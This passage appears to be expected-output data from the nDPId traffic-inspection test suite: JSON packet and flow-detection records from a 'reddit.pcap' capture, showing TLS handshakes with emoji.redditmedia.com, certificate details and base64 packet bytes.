BgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01171{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":809,"source":"reddit.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":8,"flow_first_seen":1605291686084,"flow_last_seen":1605291686182,"flow_tot_l4_data_len":3933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":491,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56592,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +01174{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182405,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkP2IzbiYO3gBgLMFblAAABAQgKwtc5D6l05kUFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0gpkvzO7LE4mLRxx2qvbNHsN6DIry+9q7M1xht9KqAK1wIBAEAjV5A+ZTadw1D1BfGDpdEIXnnYEn8\/taQoN1jAeXF\/ctQSn1XQT7MGH23f4T0Z4a2nZJZkkVG+NAwIq5YnEgi3qzqw9C0GJAm1KkAGfwrHv7RQ+FZ4bwvr73214k7WpA5GgurIgGGtCVhq1RuPYSuNTnDH+rR8jZt9PAqdSVq3z6TkididCYUEJ5kz4qevFHl13vjv7VTRVnQRfmO0l+uXsS4x+b13WjDpyOeMq5tuen1+1AGRTHQVC3ZQ4711VntYYXtFuXLSmcI3k+6wSWkJ2\/VTZR1NilntFxlYKwvsSTFcrhLukbIL0WHL2N3\/3u3LCZ1fXL1jfbYq4pDcZzj+RYDAwAEDgAAAA=="} +01866{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182406,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaN0qUbYJ5gBgLMJ\/jAAABAQgKwtc5Dql05kYWAwMAUgIAAE4DA\/lpjGNgx9lR5qm05T8DENqDgfpkH1sNIMZIVXuNKF1BAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00888{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":811,"source":"reddit.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1605291686084,"flow_last_seen":1605291686182,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56590,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182418,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJg7e5D9BcgBAB9cuGAAABAQgKqXTmesLXOQ8="} +00454{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182428,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJg7e5D9R0gBAB88dwAAABAQgKqXTmesLXOQ8="} +00454{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182431,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJg7e5D9iMgBAB7cNeAAABAQgKqXTmesLXOQ8="} +00454{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182433,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJg7e5D9qegBAB6cFQAAABAQgKqXTmesLXOQ8="} +00453{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":182436,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgnn3WjtigBAB82qVAAABAQgKqXTmesLXOQ4="} +01872{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183889,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaO2KUbYJ5gBgLMPDOAAABAQgKwtc5Dql05kZ0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +01869{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183890,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaP3qUbYJ5gBgLMDsEAAABAQgKwtc5Dql05kYUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01171{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":818,"source":"reddit.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":9,"flow_first_seen":1605291686084,"flow_last_seen":1605291686183,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56590,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emoji.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +01177{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183891,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaQ5KUbYJ5gBgLMI0LAAABAQgKwtc5Dql05kYFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0gyfeeWSUNsZVAUmfekCPkHg6kCxTVpdgQFDytizSEoDAIBAEAvzJzb0\/IZa2lmohZUBaur\/4YJPMvh1aAiuH2flU3wy8wjfoyG80x5ClsODx4GDmgB4ZCS9R4MmuWewmVUXHKgBTOGe4cvtqnhL3fmelhwhEDLy7j\/27CKwiLVwpoPmZiStX2p4JrjqF13s7ujE24jiYagEz4DgObSAThuybLLG4hr+weBenDbxM6koRQkBmOLDMe9hJv0sACiTmzdfR5Ql6pVHdfEMWfJyAxSOGAkGuO2dT56\/q46jYRwJSRUbzw9ydOQV8dSPlR\/KifGo4\/6WzimyPNWvR2ydeqBnXGNO9UDgYbe4K8gfIbXZgdHBCMY9WQ7h2wdcQVULCQa6xLtRYDAwAEDgAAAA=="} +00454{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183903,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgnn3Wj96gBAB9WZ6AAABAQgKqXTme8LXOQ4="} +00454{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183921,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgnn3WkOSgBAB82JkAAABAQgKqXTme8LXOQ4="} +00454{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":183926,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgnn3WkWkgBAB72BWAAABAQgKqXTme8LXOQ4="} +00582{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":184846,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJg7e5D9qegBgB9Tc+AAABAQgKqXTmfMLXOQ8WAwMAJRAAACEg3KY1H\/05Q15oj6d5bgAwoPgpNJUhsYhgVZeNDdb+CwMUAwMAAQEWAwMAKAAAAAAAAAAA0Gn41pN31l55+wXuCFG6hvJFOpUeW6U3HTLow+B5mH4="} +00582{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":185402,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgnn3WkWkgBgB9ePfAAABAQgKqXTmfcLXOQ4WAwMAJRAAACEgVgtqpHliuL0Op9BnOLDhFz2xDTdVGlADg825t9I3d3kUAwMAAQEWAwMAKAAAAAAAAAAAq7siOn5l3QhTDyKz5ySKKpa9+GvIEEOa\/DQD65ylo1A="} +00455{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":185482,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5Rtgtb3WkWkgBEB9V\/wAAABAQgKqXTmfcLXOQ4="} +00590{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":185514,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJhBS5D9qegBgB9cN5AAABAQgKqXTmfcLXOQ8XAwMAXgAAAAAAAAABnOvciIXX4vSH6iDSVLx8BmLJ1WliglA6TgbgmaeZoLtkuvIEUORIZl0tXMy9ipHj\/YC78HX7iUreOf7xxjSvOKjDHVfHgz7J5L1ug0UldeAzh1EN2tc="} +00456{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":835,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":193365,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsogAAYOGTgBALMMG3AAABAQgKwtc5I6l05lM="} +00438{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":193428,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCPRTABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg4ZMAAAAAUAQAAJk7AAA="} 